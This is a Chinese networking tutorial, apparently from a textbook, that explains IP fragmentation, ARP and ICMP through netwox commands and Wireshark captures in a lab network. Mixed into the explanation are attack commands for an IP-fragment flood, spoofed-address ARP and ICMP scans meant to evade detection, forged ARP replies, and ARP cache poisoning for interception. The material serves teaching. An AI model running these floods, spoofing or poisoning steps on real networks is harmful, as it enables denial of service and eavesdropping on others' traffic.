目标主机收到分片包后,会根据分片信息重组报文。如果发送大量的无效IP分片包,会造成洪水攻击。用户可以使用netwox工具中编号为74的模块实施洪水攻击。

已知目标主机IP地址为192.168.59.135,使用netwox工具向目标主机发送大量的IP分片实施洪水攻击,执行命令如下:

root@daxueba:~# netwox 74 -i 192.168.59.135

执行命令后没有任何输出信息,但是会向目标主机发送大量的IP分片数据包。如果使用Wireshark工具抓包,可以捕获到大量的IP分片数据包,如图所示。

图中显示了大量的IPv4数据包,Info列中的Fragmented IP protocol信息表示数据包为IP分片数据包。

4、ARP地址解析协议

地址解析协议(Address Resolution Protocol,ARP)是根据IP地址获取物理地址的一个TCP/IP协议。它通过IP地址向MAC地址的转换,解决网际层和网络访问层的衔接问题。

不管网络层使用的是什么协议,在实际网络的链路上传送数据帧时,最终还是必须使用硬件地址。每一个主机都设有一个 ARP 高速缓存(ARP cache),里面有所在的局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。

当主机 A 欲向本局域网上的某个主机 B 发送 IP 数据报时,就先在其 ARP 高速缓存中查看有无主机 B 的 IP 地址。如有,就可查出其对应的硬件地址,再将此硬件地址写入 MAC 帧,然后通过局域网将该 MAC 帧发往此硬件地址。

1. ARP协议概述

由于IP地址和MAC地址定位方式不同,ARP协议成为数据传输的必备协议。主机发送信息前,必须通过ARP协议获取目标IP地址对应的MAC地址,才能正确地发送数据包。

1)为什么需要ARP协议

在网络访问层中,同一局域网中的一台主机要和另一台主机进行通信,需要通过MAC地址进行定位,然后才能进行数据包的发送。而在网络层和传输层中,计算机之间是通过IP地址定位目标主机,对应的数据报文只包含目标主机的IP地址,而没有MAC地址。因此,在发送之前需要根据IP地址获取MAC地址,然后才能将数据包发送到正确的目标主机,而这个获取过程是通过ARP协议完成的。

2)基本流程

ARP工作流程分为两个阶段,一个是ARP请求过程,另一个是ARP响应过程。

工作流程如下图所示:

图中,主机A的IP地址为192.168.1.1,主机B的IP地址为192.168.1.2。主机A与主机B进行通信,需要获取其MAC地址,基本流程如下:

(1)主机A以广播形式向网络中所有主机发送ARP请求,请求包中包含了目标IP地址192.168.1.2。

(2)主机B接收到请求,发现自己就是主机A要找的主机,返回响应。响应包中包含自己的MAC地址。

3)ARP缓存

在请求目标主机的MAC地址时,每次获取目标主机MAC地址都需要发送一次ARP请求,然后根据响应获取到MAC地址。为了避免重复发送ARP请求,每台主机都有一个ARP高速缓存。当主机得到ARP响应后,将目标主机的IP地址和物理地址存入本机ARP缓存中,并保留一定时间。只要在这个时间范围内,下次请求MAC地址时,直接查询ARP缓存,而无须再发送ARP请求,从而节约了网络资源。

当有了ARP缓存以后,ARP的工作流程如下:

  1. 主机A在本机ARP缓存中检查主机B的匹配MAC地址。
  2. 如果在ARP缓存中没有找到主机B的IP地址及对应的MAC地址,它将询问主机B的MAC地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。
  3. 本地网络上的每台主机都接收到ARP请求,并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
  4. 主机B将包含自身MAC地址的ARP回复消息直接发送给主机A。
  5. 当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP地址和MAC地址更新ARP缓存。
  6. 主机B的MAC地址一旦确定,主机A就能向主机B发送IP数据包。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。

4)查看ARP缓存

每次成功得到ARP响应以后,就会将IP地址对应的MAC地址添加到ARP缓存中。用户可以通过arp命令查看ARP缓存中的信息,并验证是否会将目标IP地址和MAC地址添加到ARP缓存中。

查看ARP缓存表并验证添加的IP地址和MAC地址。

(1)使用arp命令查看当前主机缓存信息,执行命令如下:

root@daxueba:~# arp -a

输出信息如下:

localhost (192.168.59.254) at 00:50:56:f7:9b:0d [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息表示当前ARP缓存中有两组信息,192.168.59.254对应的MAC地址为00:50:56:f7:9b:0d,192.168.59.2对应的MAC地址为00:50:56:ea:f3:a1。

(2)在当前主机上与主机192.168.59.135进行通信。例如,可以使用ping命令探测该主机。

执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=1.64 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.420 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.405 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.343 ms

上述输出信息表示成功向目标主机192.168.59.135发送了ping请求并得到了响应。

(3)当前主机的ARP缓存将会添加目标主机的IP地址及MAC地址。

再次查看当前主机缓存信息,执行命令如下:

oot@daxueba:~# arp -a
localhost (192.168.59.135) at 00:0c:29:ca:e4:66 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f7:9b:0d [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息中加粗部分为添加到ARP缓存中的目标主机的IP地址和MAC地址信息。

2. ARP协议包结构

ARP协议包主要分为ARP请求包和ARP响应包。

1)协议包的结构

ARP协议是通过报文进行工作的,ARP报文格式如图所示。

ARP报文总长度为28字节,MAC地址长度为6字节,IP地址长度为4字节。

其中,每个字段的含义如下:

  • 硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为1。
  • 协议类型:表示要映射的协议地址类型。它的值为0x0800,表示IP地址。
  • 硬件地址长度和协议长度:分别指出硬件地址和协议的长度,以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
  • 操作类型:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4。
  • 发送方MAC地址:发送方设备的硬件地址。
  • 发送方IP地址:发送方设备的IP地址。
  • 目标MAC地址:接收方设备的硬件地址。
  • 目标IP地址:接收方设备的IP地址。

ARP数据包分为请求包和响应包,对应报文中的某些字段值也有所不同。

(1)ARP请求包报文的操作类型(op)字段的值为request(1),目标MAC地址字段的值为Target 00:00:00_00:00:00(00:00:00:00:00:00)(广播地址)。

(2)ARP响应包报文中操作类型(op)字段的值为reply(2),目标MAC地址字段的值为目标主机的硬件地址。 

2)构造ARP包

ARP数据包默认由操作系统自动发送。用户可以自己构造ARP包,向目标主机发送请求,从而获取目标主机的MAC地址。这时,可以使用netwox工具提供的编号为33的模块。

使用netwox工具构造ARP包。

(1)查看netwox所在主机默认的ARP包的相关信息,执行命令如下:

root@daxueba:~# netwox 33

输出信息如下:

Ethernet________________________________________________________.
| 50:E5:49:EB:46:8D->00:08:09:0A:0B:0C type:0x0806 |
|_______________________________________________________________ |
ARP Request_____________________________________________________.
| this address : 50:E5:49:EB:46:8D 0.0.0.0 |
| asks : 00:00:00:00:00:00 0.0.0.0 |
|_______________________________________________________________ |

上述输出信息中,Ethernet部分为以太网信息。ARP Request部分为ARP请求。this address表示源地址信息。其中,50:E5:49:EB:46:8D为源主机MAC地址;asks为目标地址信息,这里为ARP请求包。由于还没有构造请求,因此地址为0。

(2)构造ARP请求包,请求目标主机192.168.12.102,执行命令如下:

root@kali:~# netwox 33 -i 192.168.12.102

输出信息如下:

Ethernet________________________________________________________.
| 50:E5:49:EB:46:8D->00:08:09:0A:0B:0C type:0x0806 |
|_______________________________________________________________ |
ARP Request_____________________________________________________.
| this address : 50:E5:49:EB:46:8D 0.0.0.0 |
| asks : 00:00:00:00:00:00 192.168.12.102 |
|_______________________________________________________________ |

此时,ARP Request部分asks中的00:00:00:00:00:00为目标MAC地址,因为正在请求目标主机的MAC地址,所以为00:00:00:00:00:00。192.168.12.102为目标主机的IP地址,表示向该主机进行ARP请求。

(3)为了验证构造的ARP请求包,使用Wireshark进行抓包,如图所示。

其中,第一个数据包为构造的ARP请求包。在AddressResolution Protocol(request)部分中,Opcode的值为request(1),表示该数据包为ARP请求包;Target MAC address的值为00:00:00_00:00:00(00:00:00:00:00:00),表示此时没有获取目标MAC地址;Target IP address的值192.168.12.102,表示请求主机的IP地址。

(4)如果请求的目标主机存在,将成功返回ARP响应数据包,如图所示。

其中,第2个数据包为ARP响应数据包。在Address Resolution Protocol(reply)部分中,Opcode的值为reply(2),表示该数据包为ARP响应包;Sender IP address的值为192.168.12.102,表示此时源主机为目标主机;Sender MAC address的值为Giga-Byt_17:cf:21(50:e5:49:17:cf:21),表示50:e5:49:17:cf:21为目标主机192.168.12.102的MAC地址。

3. 免费ARP包

免费ARP(Gratuitous ARP)包是一种特殊的ARP请求,它并非期待得到IP对应的MAC地址,而是当主机启动的时候,发送一个Gratuitous ARP请求,即请求自己的IP地址的MAC地址。

1)免费ARP包的结构

免费ARP报文与普通ARP请求报文的区别在于报文中的目标IP地址。普通ARP报文中的目标IP地址是其他主机的IP地址;而免费ARP的请求报文中,目标IP地址是自己的IP地址。

2)作用

免费ARP数据包有以下3个作用:

  • 该类型报文起到一个宣告作用。它以广播的形式将数据包发送出去,不需要得到回应,只为了告诉其他计算机自己的IP地址和MAC地址。
  • 可用于检测IP地址冲突。当一台主机发送了免费ARP请求报文后,如果收到了ARP响应报文,则说明网络内已经存在使用该IP地址的主机。
  • 可用于更新其他主机的ARP缓存表。如果该主机更换了网卡,而其他主机的ARP缓存表仍然保留着原来的MAC地址。这时,可以发送免费的ARP数据包。其他主机收到该数据包后,将更新ARP缓存表,将原来的MAC地址替换为新的MAC地址。

3)构造免费ARP包

用户可以使用netwox工具中编号为33的模块构造免费的ARP数据包。

构造免费的ARP数据包。

(1)构造免费的ARP数据包,设置源IP地址和目标IP地址为192.168.59.132,执行命令如下:

root@daxueba:~# netwox 33 -g 192.168.59.132 -i 192.168.59.132

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:AA:E0:27->00:08:09:0A:0B:0C type:0x0806 |
|_______________________________________________________________ |
ARP Request_____________________________________________________.
| this address : 00:0C:29:AA:E0:27 192.168.59.132 |
| asks : 00:00:00:00:00:00 192.168.59.132 |
|_______________________________________________________________ |

(2)使用Wireshark进行抓包,验证构造的免费ARP数据包,如图所示。

其中,第一个数据包的Info列显示Gratuitous ARP for 192.168.59.132(Request),表示该数据包为构造的免费ARP数据包。在Address Resolution Protocol(request/gratuitous ARP)部分中,Sender IP address和Target IP address的值为同一个IP地址192.168.59.132。

4. 基于ARP协议扫描

ARP协议是根据目标主机的IP地址获取对应的MAC地址。如果目标主机存在,将返回MAC地址。利用这一点,用户可以基于ARP协议对目标主机进行扫描,来判断目标主机是否启用。

1)扫描单一主机

如果用户想判断一个主机是否启用,可以使用netwox工具中编号为55的模块对目标主机进行ARP协议扫描。

判断主机192.168.59.135是否启用。

(1)查看netwox所在主机的IP地址,执行命令如下:

root@daxueba:~# ifconfig

输出信息如下:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.132 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fd15:4ba5:5a2b:1008:20c:29ff:feaa:e027 prefixlen 64 scopeid
0x0<global>
inet6 fd15:4ba5:5a2b:1008:b95e:f970:dff4:789 prefixlen 64 scopeid
0x0<global>
inet6 fe80::20c:29ff:feaa:e027 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:aa:e0:27 txqueuelen 1000 (Ethernet)
RX packets 28796 bytes 21695251 (20.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7210 bytes 552808 (539.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

从输出信息可以了解到,netwox所在主机的IP地址为192.168.59.132,MAC地址为00:0c:29:aa:e0:27。

(2)验证目标主机是否启用,执行命令如下:

root@daxueba:~# netwox 55 -i 192.168.59.135

输出信息如下:

Ok
Ok
Ok
Ok
Ok
Ok
…

输出信息在持续地显示OK,表示持续不断地向目标主机进行了扫描。其中,OK代表目标主机已启用。如果目标主机未启用将不会有任何输出信息。

(3)为了验证ARP协议扫描,可以通过Wireshark进行抓包,如图所示。

其中,第1~6个数据包是对目标主机进行扫描时产生的ARP数据包。第1、3、5个数据包为ARP请求数据包,第2、4、6个数据包为ARP响应数据包。选择任意一个请求数据包,Address Resolution Protocol(request)部分的源IP地址和MAC地址正好为netwox主机的地址,目标IP地址为扫描的目标主机地址。此时,目标MAC地址为0,表示在向目标主机发送了ARP请求数据包。

(4)选择任意一个ARP响应包,查看信息,如图所示。

这里,选择的是第2个数据包。在Address Resolution Protocol(reply)部分中,源IP地址和MAC地址为目标主机的地址;目标IP地址和MAC地址为netwox主机的地址,表示目标主机成功向netwox主机返回了响应。

2)扫描多个主机

有时用户需要判断多个主机的启用情况,使用上述的扫描方式需要分别对每个主机进行扫描,这样比较费时。这时,可以使用netwox工具中编号为71的模块进行扫描。如果主机启用,则返回对应的MAC地址。

判断主机192.168.59.133-192.168.59.140的启用情况。

(1)扫描多个主机,执行命令如下:

root@daxueba:~# netwox 71 -i 192.168.59.133,192.168.59.134,192.168.59.135,
192. 168.59.136,192.168.59.137,192.168.59.138,192.168.59.139,192.168.59.140

输出信息如下:

192.168.59.134 : 00:0C:29:BD:C4:3C
192.168.59.135 : 00:0C:29:CA:E4:66
192.168.59.133 : unreached
192.168.59.136 : unreached
192.168.59.137 : unreached
192.168.59.138 : unreached
192.168.59.139 : unreached
192.168.59.140 : unreached

以上输出信息显示了对主机192.168.59.133~192.168.59.140进行了扫描。如果主机已启用,将给出对应的MAC地址,如主机192.168.59.135的MAC地址00:0C:29:CA:E4:66;如果主机是未启用的,将给出unreached,如主机192.168.59.133是未启用的。

(2)为了验证扫描过程,使用Wireshark工具进行抓包,如图所示。

其中,第4~11个数据包分别为对每个主机进行了ARP请求。其中,第5个数据包和第6个数据包为对主机192.168.59.134和192.168.59.135发送的ARP请求,并得到了ARP响应包。第12个和第13个数据包说明这两个主机是启用状态。

3)隐蔽扫描

在判断目标主机是否存在时,为了避免被发现,用户可以使用netwox工具中编号为56和72的模块来伪造地址信息。这样,即使被发现,对方获取的也是一个假的地址信息。

已知netwox所在主机的IP地址为192.168.59.132,对单一主机扫描,并伪造地址信息。例如,判断目标主机192.168.59.135是否启用。具体步骤如下:

(1)伪造虚假地址,设置IP地址为192.168.59.160,MAC地址为A1:B2:C3:D4:E5:F6,验证目标主机192.168.59.135是否启用,执行命令如下:

root@daxueba:~# netwox 56 -i 192.168.59.135 -I 192.168.59.160 -E A1:B2:C3:
D4:E5:F6

扫描结果如下:

Ok
Ok
Ok
Ok
Ok
Ok
…  #省略其他信息

(2)通过捕获数据包验证是否伪造了地址,捕获的数据包如图所示。

其中,第一个数据包为ARP请求数据包。其中,源IP地址为伪造的192.168.59.160,MAC地址也是伪造的a1:b2:c3:d4:e5:f6。

(3)选择任意一个响应包,查看地址信息,如图所示。

其中,第2个数据包为对应的ARP响应包,可以看到成功返回了目标主机的MAC地址。但是,响应包中的目标地址为伪造的地址信息,而不是netwox主机真实的地址。

已知netwox所在主机的IP地址为192.168.59.132,对多台主机扫描伪造地址信息。例如,判断目标主机192.168.59.133-192.168.59.135的启用情况。

具体步骤如下:

(1)设置扫描主机的假IP地址为192.168.59.125,MAC地址为00:0c:29:ca:e4:99,验证多个目标主机是否启用,执行命令如下:

root@daxueba:~# netwox 72 -i 192.168.59.133,192.168.59.134,192.168.59.135
-E 00:0c:29:ca:e4:99 -I 192.168.59.125

输出信息如下:

Warning : Eth address needed to reach 192.168.59.133 is unknown
Warning : Eth address needed to reach 192.168.59.134 is unknown
192.168.59.135 : 00:0C:29:CA:E4:66

以上输出信息表示主机192.168.59.135是启用的,主机192.168.59.133和192.168.59.134未启用。

(2)如果主机是启用的,捕获的数据包的地址信息将是伪造的地址信息,如图所示。

其中,第5个数据包为ARP请求包,可以看到请求的目标IP地址为192.168.59.135(目标主机),源IP地址为192.168.59.125,而不是真正的192.168.59.132;MAC地址为00:0c:29:ca:e4:99,也是伪造的。

(3)查看响应包,如图所示。

其中,第6个数据包为对应的ARP响应包,可以看到目标IP地址和MAC地址为伪造的地址,而不是真实的netwox主机的地址。

5. 伪造ARP响应

正常情况下,向目标主机发送ARP请求,如果主机存在,将会得到一个ARP响应;如果主机不存在,将不会得到ARP响应。伪造ARP响应是指伪造一个不存在的主机的ARP响应。

例如,黑客在攻击局域网中的主机时,会扫描局域网中的所有主机,然后对发现的主机实施攻击。如果伪造了ARP响应包,会误导黑客以为扫描到的主机是存在的,从而起到了迷惑作用。伪造ARP响应需要使用netwox工具中编号为73的模块。

以主机A为基础实施伪造ARP响应,伪造模拟主机192.168.59.136,其MAC地址为A1:B2:C3:D4:E5:F6。已知局域网中另一主机为主机B,其IP地址为192.168.59.135。具体步骤如下:

(1)在模拟之前,验证局域网中是否存在主机192.168.59.136。在主机B上使用arping命令ping该主机。

执行命令如下:

root@daxueba:~# arping 192.168.59.136

输出信息如下:

ARPING 192.168.59.136 from 192.168.59.135 eth0

没有任何输出信息,表示主机192.168.59.136不存在。

(2)在主机A上伪造ARP响应,创建虚拟主机192.168.59.136,设置其MAC地址为A1:B2:C3:D4:E5:F6。

执行命令如下:

root@daxueba:~# netwox 73 -i 192.168.59.136 -e A1:B2:C3:D4:E5:F6

执行命令后没有任何输出信息,但是成功创建模拟的主机192.168.59.136。

(3)再次在主机B上使用arping命令ping该主机。

执行命令如下:

root@daxueba:~# arping 192.168.59.136

输出信息如下:

ARPING 192.168.59.136 from 192.168.59.135 eth0
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6] 56.346ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6] 35.184ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6] 50.823ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6] 46.639ms

以上输出信息表示已经成功向主机192.168.59.136发出arping命令,并得到了对应的MAC地址A1:B2:C3:D4:E5:F6,表示该主机是存在的。

(4)为了验证整个过程,捕获数据包进行查看,如图所示。

其中,第1个数据包为ARP请求包,可以看到源IP地址为192.168.59.135(主机B),目标IP地址为192.168.59.136(虚拟主机)。这说明的确向虚拟主机发送了ARP请求。

(5)查看对应的响应包,如图所示。

其中,第2个数据包为ARP响应包,可以看到源IP地址为192.168.59.136(虚拟主机的),目标
主机的IP地址为192.168.59.135(主机B),源MAC地址为a1:b2:c3:d4:e5:f6(假的),目标MAC地址为00:0c:29:ca:e4:66(主机B)。这说明虚拟主机成功给主机B返回了响应。

6. 周期性发送ARP响应包

正常情况下,ARP响应是基于ARP请求的。只有发送了ARP请求才会得到ARP响应,并且发送一次ARP请求只会得到一个响应。周期性发送ARP响应包,是指在没有ARP请求的情况下,以广播的形式多次发送ARP响应。

netwox工具提供编号为80的模块,可以模拟计算机定期发送ARP数据包,从而更新其他主机的ARP缓存表。在ARP攻击中,该功能可以达到欺骗的目的,使受害者将数据包发送到错误的MAC地址主机(攻击主机),从而导致数据包被监听。

已知netwox所在主机为主机A,主机B的IP地址为192.168.59.135。使用netwox工具发送ARP响应包,以更换ARP缓存表中主机的MAC地址信息。

(1)在发送ARP响应之前,在主机B上查看主机ARP缓存表信息。

执行命令如下:

root@daxueba:~# arp -a

输出信息如下:

localhost (192.168.59.136) at 00:0c:29:bc:a4:89 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息中,主机192.168.59.136的MAC地址为00:0c:29:bc:a4:89。

(2)创建虚拟主机192.168.59.136,并向该主机发送ARP响应包,设置MAC地址为00:01:01:21:22:23。

执行命令如下:

root@daxueba:~# netwox 80 -i 192.168.59.136 -e 00:01:01:21:22:23

执行命令后没有任何输出信息。

(3)此时再次在主机B上查看主机ARP缓存表信息。

执行命令如下:

root@daxueba:~# arp -a

输出信息如下:

localhost (192.168.59.136) at 00:01:01:21:22:23 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息中,主机192.168.59.136的MAC地址由原来的00:0c:29:bc:a4:89变为了00:01:01:21:22:23。

(4)为了验证发送的ARP响应包,捕获数据包进行查看,如图所示。

其中,第27~33个数据包为重复发送的ARP响应包。

5、网际控制报文协议ICMP

控制报文协议(Internet Control Message Protocol,ICMP)是TCP/IP协议族的一个子协议。ICMP协议用于在IP主机和路由器之间传递控制消息,描述网络是否通畅、主机是否可达、路由器是否可用等网络状态。为了提高 IP 数据报交付成功的机会,在网际层使用了网际控制报文协议 ICMP (Internet Control Message Protocol)。

1. ICMP协议概述

由于IP协议简单,数据传输天然存在不可靠、无连接等特点,为了解决数据传输出现的问题,人们引入了ICMP协议。虽然ICMP协议的数据包并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ICMP 允许主机或路由器报告差错情况和提供有关异常情况的报告。

ICMP 不是高层协议,而是 IP 层的协议。ICMP 报文作为 IP 层数据报的数据,加上数据报的首部,组成 IP 数据报发送出去。

2. ICMP协议作用

数据包在发送到目标主机的过程中,通常会经过一个或多个路由器。而数据包在通过这些路由进行传输时,可能会遇到各种问题,导致数据包无法发送到目标主机上。为了了解数据包在传输的过程中在哪个环节出现了问题,就需要用到ICMP协议。它可以跟踪消息,把问题反馈给源主机。

3. ICMP报文结构

ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文。 

ICMP 报文一般为8个字节,前 4 个字节是统一的格式,共有三个字段:即类型、代码和检验和,接着的 4 个字节的内容与 ICMP 的类型有关。 

其中,类型表示ICMP的消息类型;代码表示对类型的进一步说明;校验和表示对整个报文的报文信息的校验。在ICMP报文中,如果类型和代码不同,ICMP数据包报告的消息含义也会不同。

常见的类型和代码的ICMP含义如表所示:

ICMP差错报告报文:

  • 终点不可达 
  • 源点抑制(Source quench)  
  • 时间超过 
  • 参数问题 
  • 改变路由(重定向)(Redirect) 

不应发送 ICMP 差错报告报文的几种情况:

  • 对 ICMP 差错报告报文不再发送 ICMP 差错报告报文。
  • 对第一个分片的数据报片的所有后续数据报片都不发送 ICMP 差错报告报文。
  • 对具有多播地址的数据报都不发送 ICMP 差错报告报文。
  • 对具有特殊地址(如127.0.0.0 或 0.0.0.0)的数据报不发送 ICMP 差错报告报文。 

ICMP询问报文:

  • 回送请求和回答报文
  • 时间戳请求和回答报文

PING 用来测试两个主机之间的连通性。PING 使用了 ICMP 回送请求与回送回答报文。PING 是应用层直接使用网络层 ICMP 的例子,它没有通过运输层的 TCP 或UDP

4. ICMP协议应用-主机探测

如要向目标主机发送数据包,首先需要确保目标主机是启用的。ICMP协议可以用来探测主机,以判断主机是否启用。

1)使用ping命令

ping命令就是借助ICMP传输协议,发出要求回应的Echo(ping)request消息。若远端主机的网络功能没有问题,就会回应Echo(ping)reply信息,因而得知该主机运作正常。因此用户可以通过ping命令来判断目标主机是否启用。

判断目标主机192.168.59.135是否启用。

(1)使用ping命令探测目标主机,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=0.683 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=2.10 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.291 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.283 ms
64 bytes from 192.168.59.135: icmp_seq=5 ttl=64 time=0.339 ms

上述输出信息表示,成功向目标主机发送了ping请求并得到了响应时间,这表示目标主机已启用。如果目标主机未启用将显示以下信息:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
From 192.168.59.132 icmp_seq=1 Destination Host Unreachable
From 192.168.59.132 icmp_seq=2 Destination Host Unreachable
From 192.168.59.132 icmp_seq=3 Destination Host Unreachable
From 192.168.59.132 icmp_seq=4 Destination Host Unreachable
From 192.168.59.132 icmp_seq=5 Destination Host Unreachable

(2)通过Wireshark捕获数据包,验证ping命令所产生的ICMP数据包,如图所示。

图中第10~25个数据包都为ICMP数据包。从图中还可以看到ping命令发出的ICMP请求Echo(ping)request与ICMP响应Echo(ping)reply。

2)构造ICMP数据包

ICMP协议可以用来对目标主机发送ICMP数据包,判断目标主机是否启用。正常情况下,ICMP请求包报文中的类型值为8,代码值为0;ICMP响应包报文中的类型值为0,代码值为0。用户可以使用netwox工具的编号65的模块构造ICMP数据包,并对目标主机进行扫描。

在主机192.168.59.132上,构造ICMP数据包,判断目标主机192.168.59.135是否启用。

(1)构造ICMP扫描,执行命令如下:

root@daxueba:~# netwox 65 -i 192.168.59.135

输出信息如下:

192.168.59.135 : reached

在输出信息中,reached表示目标主机可达。这说明目标主机是启用状态。如果目标主机没有启用,则显示如下信息,其中,unreached表示不可达。

192.168.59.139 : unreached

(2)为了验证以上构造的ICMP数据包,使用Wireshark工具进行捕获数据包,如图所示。

其中,第1个数据包的源IP地址为192.168.59.132,目标IP地址为192.168.59.135,Info显示这是一个ICMP请求包。在Internet Control Message Protocol部分中,Type的值为8,Code的值为0,表示该数据包为正常的ICMP请求包。

(3)查看第2个数据包,如图所示。

该数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.132,这是第1个数据包的响应包。在Internet Control Message Protocol部分中,Type的值为0,Code的值为0,表示该数据包为正常的ICMP响应包。

3)伪造ICMP数据包

使用5.2.1节和5.2.2节介绍的方式进行ICMP扫描,容易被目标主机发现。为了解决这个问题,可以使用netwox工具中编号为66的模块伪造ICMP数据包,如设置假的IP地址和MAC地址。

在主机192.168.59.132上实施ICMP数据包扫描,判断目标主机192.168.59.135是否启用。

(1)伪造IP地址为192.168.59.140,MAC地址为00:0c:29:ca:e4:99,执行命令如下:

root@daxueba:~# netwox 66 -i 192.168.59.135 -E 00:0c:29:ca:e4:99 -I 192.168.59.140

输出信息如下:

192.168.59.135 : reached

(2)验证伪造的ICMP数据包扫描,捕获数据包进行查看,如图所示。

其中,第4个数据包的源IP地址为192.168.59.140(伪造的),目标地址为192.168.59.135(目标主机),该数据包为伪造的ICMP请求包。在Ethernet II部分的Source中可以看到MAC地址为00:0c:29:ca:e4:99,也是伪造的。

(3)选择第7个数据包,查看信息,如图所示。

从该数据包可以看到源IP地址为192.168.59.135,目标IP地址为192.168.59.140(伪造的),目标MAC地址为00:0c:29:ca:e4:99(伪造的)。这说明目标主机给伪造的主机返回了ICMP响应。

4)构造连续的ICMP数据包

在向目标主机发送ICMP请求时,如果主机启用,将返回响应信息。为了持续判断目标主机的状态,需要连续发送ICMP数据包。netwox工具提供了编号为49的模块,用于持续构造ICMP数据包,实时监听目标主机的启用情况。

构造连续的ICMP数据包,对目标主机192.168.59.135进行扫描。

(1)持续向目标主机发送ICMP请求,执行命令如下:

root@daxueba:~# netwox 49 -i 192.168.59.135

输出信息如下:

Ok
Ok
Ok
Ok
…       #省略其他信息

输出信息在持续地显示Ok,表示目标主机已启用。如果目标主机未启用,将不会有任何输出信息。

(2)通过捕获数据包,验证该模块发送的ICMP请求。捕获到的数据包如图所示。

图中捕获到了大量的ICMP数据包,其中,第10、12、14、16、18个数据包为构造的ICMP请求包,第11、13、15、17、19个数据包为得到的ICMP响应包。

5)伪造连续的ICMP数据请求包

为了避免被发现,可以使用netwox工具中编号为50的模块伪造连续的ICMP数据请求包。

伪造连续的ICMP数据包,实时判断目标主机192.168.59.135的启用情况。

(1)伪造实施主机的IP地址为192.168.59.150,MAC地址为aa:bb:cc:11:22:33,指定目标主机的MAC地址为00:0c:29:ca:e4:66,目标主机IP地址为192.168.59.135,进行持续扫描。

执行命令如下:

root@daxueba:~# netwox 50 -i 192.168.59.135 -E aa:bb:cc:11:22:33 -I 192.168.59.150 -e 00:0c:29:ca:e4:66

输出信息如下:

Ok
Ok
Ok
Ok
Ok
…     #省略其他信息

(2)通过捕获数据包,验证发送的ICMP伪造包,捕获的数据包如图所示。

图中捕获到了大量的ICMP请求包,并且都得到了响应。在这些数据包中可以看到成功伪造的IP地址和MAC地址,而不是真正实施主机的地址。

6)伪造ICMP数据包的IP层

ICMP是位于IP层上的协议。用户可以使用netwox工具中编号为42的模块,对ICMP数据包的IP层信息进行伪造。

伪造基于IPv4的ICMP数据包。

(1)查看基于IPv4的ICMP数据包的默认值,执行命令如下:

root@daxueba:~# netwox 41

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________ |
| id |r|D|M| offsetfrag |
|_________0xD03C=53308__________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x01=1_____|____________0xE26B_____________ |
| source |
|________________________192.168.59.131_________________________ |
| destination |
|____________________________5.6.7.8____________________________ |
ICMP4_echo reply________________________________________________.
| type | code | checksum |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________ |
| id | seqnum |
|___________0x0000=0____________|___________0x0000=0____________ |
| data: |
|_______________________________________________________________ |

